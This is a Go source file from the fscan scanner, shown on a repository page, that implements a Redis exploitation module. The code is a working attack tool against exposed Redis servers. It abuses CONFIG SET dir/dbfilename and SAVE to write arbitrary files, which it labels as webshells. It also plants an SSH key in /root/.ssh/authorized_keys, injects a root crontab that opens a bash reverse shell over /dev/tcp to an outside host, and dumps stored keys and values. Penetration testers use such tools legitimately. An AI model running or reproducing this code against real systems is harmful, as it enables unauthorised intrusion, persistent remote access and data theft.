fscan/Plugins/services/redis/exploiter.go
ZacharyZcR b346e6bdc1 feat: 完善插件系统i18n国际化支持
- 修复重复输出问题:适配器层改为debug输出,避免与插件层重复
- 修复格式化错误:修正SaveExploitResult中的端口格式化问题
- 新增利用方法名称i18n:添加GetExploitMethodName函数支持方法名本地化
- 扩展i18n消息模板:新增利用方法执行、MySQL/Redis专用消息模板
- 完善exploiter国际化:所有利用方法和结果消息支持中英文切换
- 优化用户体验:利用方法显示从"information_gathering"变为"信息收集"
2025-08-07 12:30:17 +08:00

460 lines
14 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package redis
import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"os"
"path/filepath"
"strings"
)
// RedisExploiter Redis利用器实现
type RedisExploiter struct {
*base.BaseExploiter
connector *RedisConnector
}
// NewRedisExploiter 创建Redis利用器
func NewRedisExploiter() *RedisExploiter {
exploiter := &RedisExploiter{
BaseExploiter: base.NewBaseExploiter("redis"),
connector: NewRedisConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *RedisExploiter) setupExploitMethods() {
// 1. 任意文件写入
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write").
WithDescription("利用Redis写入任意文件").
WithPriority(10).
WithConditions("has_write_config").
WithHandler(e.exploitArbitraryFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
// 2. SSH密钥写入
sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write").
WithDescription("写入SSH公钥到authorized_keys").
WithPriority(9).
WithConditions("has_ssh_key").
WithHandler(e.exploitSSHKeyWrite).
Build()
e.AddExploitMethod(sshKeyMethod)
// 3. Crontab定时任务
cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection").
WithDescription("注入Crontab定时任务").
WithPriority(9).
WithConditions().
WithHandler(e.exploitCrontabInjection).
Build()
e.AddExploitMethod(cronMethod)
// 4. 数据提取
dataExtractionMethod := base.NewExploitMethod(base.ExploitDataExtraction, "data_extraction").
WithDescription("提取Redis中的数据").
WithPriority(7).
WithConditions().
WithHandler(e.exploitDataExtraction).
Build()
e.AddExploitMethod(dataExtractionMethod)
// 5. 信息收集
infoGatheringMethod := base.NewExploitMethod(base.ExploitDataExtraction, "info_gathering").
WithDescription("收集Redis服务器信息").
WithPriority(6).
WithConditions().
WithHandler(e.exploitInfoGathering).
Build()
e.AddExploitMethod(infoGatheringMethod)
}
// exploitArbitraryFileWrite 任意文件写入利用
func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 检查是否配置了文件写入参数
if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("未配置文件写入参数")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 确定文件内容
var content string
if common.RedisWriteContent != "" {
content = common.RedisWriteContent
} else if common.RedisWriteFile != "" {
fileData, err := os.ReadFile(common.RedisWriteFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("读取文件失败: %v", err)), nil
}
content = string(fileData)
}
// 执行文件写入
dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(common.RedisWritePath)
success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_webshell_written", common.RedisWritePath))
base.AddFileToResult(result, common.RedisWritePath)
return result, nil
}
// exploitSSHKeyWrite SSH密钥写入利用
func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisFile == "" {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("未指定SSH密钥文件")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 读取SSH密钥
keyData, err := e.readFirstNonEmptyLine(common.RedisFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("读取SSH密钥失败: %v", err)), nil
}
// 写入SSH密钥
success, msg, err := e.writeSSHKey(redisConn, keyData)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys")
base.AddFileToResult(result, "/root/.ssh/authorized_keys")
return result, nil
}
// exploitCrontabInjection Crontab注入利用
func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisShell == "" {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("未指定反弹Shell地址")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 写入Crontab任务
success, msg, err := e.writeCrontab(redisConn, common.RedisShell)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_cron_job_written", common.RedisShell))
// 创建Shell信息
shellParts := strings.Split(common.RedisShell, ":")
if len(shellParts) == 2 {
result.Shell = &base.ShellInfo{
Type: "reverse",
Host: shellParts[0],
Port: 0, // 端口需要解析
}
}
return result, nil
}
// exploitDataExtraction 数据提取利用
func (e *RedisExploiter) exploitDataExtraction(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "data_extraction", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "data_extraction")
// 获取所有键
keys, err := e.getAllKeys(redisConn)
if err == nil && len(keys) > 0 {
base.AddOutputToResult(result, i18n.GetText("redis_keys_found", strings.Join(keys[:min(10, len(keys))], ", ")))
result.Extra["keys"] = keys
// 获取部分键值
for i, key := range keys {
if i >= 5 { // 限制只获取前5个键的值
break
}
value, err := e.getKeyValue(redisConn, key)
if err == nil && value != "" {
base.AddOutputToResult(result, fmt.Sprintf("%s = %s", key, value))
}
}
}
return result, nil
}
// exploitInfoGathering 信息收集利用
func (e *RedisExploiter) exploitInfoGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "info_gathering", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "info_gathering")
// 获取Redis信息
infoResponse, err := e.connector.ExecuteCommand(redisConn, "INFO")
if err == nil {
lines := strings.Split(infoResponse, "\n")
for _, line := range lines {
if strings.Contains(line, "redis_version") ||
strings.Contains(line, "os") ||
strings.Contains(line, "arch_bits") {
base.AddOutputToResult(result, strings.TrimSpace(line))
}
}
}
// 获取配置信息
base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("Dir: %s", redisConn.config.Dir)))
base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("DBFilename: %s", redisConn.config.DBFilename)))
return result, nil
}
// =============================================================================
// Redis操作辅助函数
// =============================================================================
// connectToRedis 连接到Redis
func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) {
conn, err := e.connector.Connect(ctx, info)
if err != nil {
return nil, err
}
err = e.connector.Authenticate(ctx, conn, creds)
if err != nil {
e.connector.Close(conn)
return nil, err
}
return conn, nil
}
// writeFileToRedis 通过Redis写入文件
func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) {
// 设置目录
if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil {
return false, "设置目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil {
return false, "设置文件名失败", err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if err := e.connector.SetKey(conn, "x", safeContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeSSHKey 写入SSH密钥
func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) {
// 设置SSH目录
if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil {
return false, "设置SSH目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil {
return false, "设置文件名失败", err
}
// 写入密钥(前后添加换行符避免格式问题)
keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData)
if err := e.connector.SetKey(conn, "x", keyContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeCrontab 写入Crontab任务
func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) {
// 解析Shell目标
parts := strings.Split(shellTarget, ":")
if len(parts) != 2 {
return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port")
}
shellHost, shellPort := parts[0], parts[1]
// 先尝试Ubuntu路径
if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil {
// 尝试CentOS路径
if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil {
return false, "设置Cron目录失败", err2
}
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil {
return false, "设置文件名失败", err
}
// 写入Crontab任务
cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort)
if err := e.connector.SetKey(conn, "xx", cronTask); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// readFirstNonEmptyLine 读取文件的第一行非空内容
func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
return line, nil
}
}
return "", fmt.Errorf("文件为空或无内容")
}
// getAllKeys 获取所有Redis键
func (e *RedisExploiter) getAllKeys(conn *RedisConnection) ([]string, error) {
response, err := e.connector.ExecuteCommand(conn, "KEYS *")
if err != nil {
return nil, err
}
// 简单解析键列表实际应该按Redis协议解析
lines := strings.Split(response, "\n")
var keys []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line != "" && !strings.HasPrefix(line, "*") && !strings.HasPrefix(line, "$") {
keys = append(keys, line)
}
}
return keys, nil
}
// getKeyValue 获取键值
func (e *RedisExploiter) getKeyValue(conn *RedisConnection, key string) (string, error) {
command := fmt.Sprintf("GET %s", key)
return e.connector.ExecuteCommand(conn, command)
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}